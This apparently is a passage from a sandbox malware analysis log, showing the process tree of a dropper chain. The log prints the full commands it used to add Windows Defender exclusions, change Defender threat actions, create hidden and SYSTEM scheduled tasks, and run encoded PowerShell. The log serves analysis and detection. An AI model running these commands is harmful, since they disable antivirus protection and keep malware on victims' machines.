PID 2320 wrote to memory of 2812 N/A C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe C:\Windows\SysWOW64\schtasks.exe
PID 2320 wrote to memory of 2812 N/A C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe C:\Windows\SysWOW64\schtasks.exe
PID 2320 wrote to memory of 2812 N/A C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe C:\Windows\SysWOW64\schtasks.exe
PID 2320 wrote to memory of 2812 N/A C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe C:\Windows\SysWOW64\schtasks.exe
PID 2320 wrote to memory of 2684 N/A C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe
PID 2320 wrote to memory of 2684 N/A C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe
PID 2320 wrote to memory of 2684 N/A C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe
PID 2320 wrote to memory of 2684 N/A C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe
PID 2320 wrote to memory of 2684 N/A C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe
PID 2320 wrote to memory of 2684 N/A C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe
PID 2320 wrote to memory of 2684 N/A C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe
PID 2684 wrote to memory of 2712 N/A C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe C:\Users\Admin\AppData\Local\Temp\f76669f\download.exe
PID 2684 wrote to memory of 2712 N/A C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe C:\Users\Admin\AppData\Local\Temp\f76669f\download.exe
PID 2684 wrote to memory of 2712 N/A C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe C:\Users\Admin\AppData\Local\Temp\f76669f\download.exe
PID 2684 wrote to memory of 2712 N/A C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe C:\Users\Admin\AppData\Local\Temp\f76669f\download.exe
PID 2684 wrote to memory of 2712 N/A C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe C:\Users\Admin\AppData\Local\Temp\f76669f\download.exe

Processes

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Users\Admin\AppData\Local\Temp\24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe

"C:\Users\Admin\AppData\Local\Temp\24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe"

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe

"C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe"

C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe

"C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 72

C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe

"C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe"

C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe

"C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1408 -s 68

C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe

"C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2380 -s 72

C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe

"C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1672 -s 96

C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe

"C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe"

C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe

"C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe"

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Newoff.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe" /F

C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe

"C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe"

C:\Users\Admin\AppData\Local\Temp\f76669f\download.exe

run=1 shortcut="C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 948 -s 668

C:\Users\Admin\Pictures\syxWFssEjg8Q0zED4zads7OJ.exe

"C:\Users\Admin\Pictures\syxWFssEjg8Q0zED4zads7OJ.exe"

C:\Users\Admin\Pictures\5RPjD3JOz7usfkWxpU5iP4TS.exe

"C:\Users\Admin\Pictures\5RPjD3JOz7usfkWxpU5iP4TS.exe"

C:\Users\Admin\Pictures\nOE5uaInN74Siuzk89nsXcIl.exe

"C:\Users\Admin\Pictures\nOE5uaInN74Siuzk89nsXcIl.exe" /s

C:\Users\Admin\Pictures\360TS_Setup.exe

"C:\Users\Admin\Pictures\360TS_Setup.exe" /c:WW.Marketator.CPI20230405 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo=

C:\Program Files (x86)\1717117663_0\360TS_Setup.exe

"C:\Program Files (x86)\1717117663_0\360TS_Setup.exe" /c:WW.Marketator.CPI20230405 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo= /TSinstall

C:\Windows\system32\taskeng.exe

taskeng.exe {607CABE8-0F94-4E48-85B6-5FCD20AB4632} S-1-5-21-1298544033-3225604241-2703760938-1000:IZKCKOTP\Admin:Interactive:[1]

C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe

C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe

C:\Users\Admin\Pictures\sF49ahnQMDczQOcNZlSvJ5Nk.exe

"C:\Users\Admin\Pictures\sF49ahnQMDczQOcNZlSvJ5Nk.exe"

C:\Users\Admin\AppData\Local\Temp\7zS3A62.tmp\Install.exe

.\Install.exe

C:\Users\Admin\AppData\Local\Temp\7zS3E38.tmp\Install.exe

.\Install.exe /NQHxdidUQs "385118" /S

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\360\Total Security\MenuEx64.dll"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\system32\regsvr32.exe

/s "C:\Program Files (x86)\360\Total Security\MenuEx64.dll"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Program Files (x86)\360\Total Security\Utils\PowerSaver.exe

"C:\Program Files (x86)\360\Total Security\Utils\PowerSaver.exe" /flightsigning

C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe

"C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe" /install

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"

C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe

"C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\cmd.exe

/C powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe

/showtrayicon

C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe

"C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe" /install

C:\Windows\SysWOW64\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe

"C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe" /cleantip=1

C:\Windows\SysWOW64\regsvr32.exe

C:\Windows\system32\regsvr32.exe /s "C:\Program Files (x86)\360\Total Security\safemon\safemon.dll"

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"

C:\Windows\SysWOW64\cmd.exe

/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\Wbem\WMIC.exe

"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe

"C:\Program Files (x86)\360\Total Security\safemon\QHWatchdog.exe" /watch

C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe

"C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe"

C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe

"C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe"

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe authroots.sst

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe updroots.sst

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe -l roots.sst

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe -d delroots.sst

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "bqGGCwwWIommTRgeuN" /SC once /ST 01:09:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\frDbhUXJJbPEeVC\AvSYvqx.exe\" 1g /PRTdidPDte 385118 /S" /V1 /F

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bqGGCwwWIommTRgeuN"

C:\Windows\SysWOW64\cmd.exe

/C schtasks /run /I /tn bqGGCwwWIommTRgeuN

\??\c:\windows\SysWOW64\schtasks.exe

schtasks /run /I /tn bqGGCwwWIommTRgeuN

C:\Windows\system32\taskeng.exe

taskeng.exe {748D5A5E-38DE-4C10-9628-9D332767A575} S-1-5-18:NT AUTHORITY\System:Service:

C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\frDbhUXJJbPEeVC\AvSYvqx.exe

C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\frDbhUXJJbPEeVC\AvSYvqx.exe 1g /PRTdidPDte 385118 /S

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\cmd.exe

/C powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "gpOPGaixk" /SC once /ST 00:31:40 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "gpOPGaixk"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==

C:\Windows\system32\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\system32\gpscript.exe

gpscript.exe /RefreshSystemParam

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "gpOPGaixk"

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"

C:\Windows\SysWOW64\cmd.exe

/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True

C:\Windows\SysWOW64\Wbem\WMIC.exe

"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True

C:\Windows\SysWOW64\cmd.exe

cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZmzskowerwXEonlG" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZmzskowerwXEonlG" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\cmd.exe

cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZmzskowerwXEonlG" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZmzskowerwXEonlG" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\cmd.exe

cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZmzskowerwXEonlG" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZmzskowerwXEonlG" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\cmd.exe

cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZmzskowerwXEonlG" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZmzskowerwXEonlG" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\cmd.exe

cmd /C copy nul "C:\Windows\Temp\ZmzskowerwXEonlG\ZPDzUHAW\UVLMiirvsykEVjRI.wsf"

C:\Windows\SysWOW64\wscript.exe

wscript "C:\Windows\Temp\ZmzskowerwXEonlG\ZPDzUHAW\UVLMiirvsykEVjRI.wsf"

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YLgKyOFzWxOqC" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YLgKyOFzWxOqC" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\krdeMCnRKomDOvwVunR" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\krdeMCnRKomDOvwVunR" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nFLFFjqrQPUn" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nFLFFjqrQPUn" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tegRANPZONsU2" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tegRANPZONsU2" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\fcblnlcRRSrBhAVB" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\fcblnlcRRSrBhAVB" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZmzskowerwXEonlG" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ZmzskowerwXEonlG" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YLgKyOFzWxOqC" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

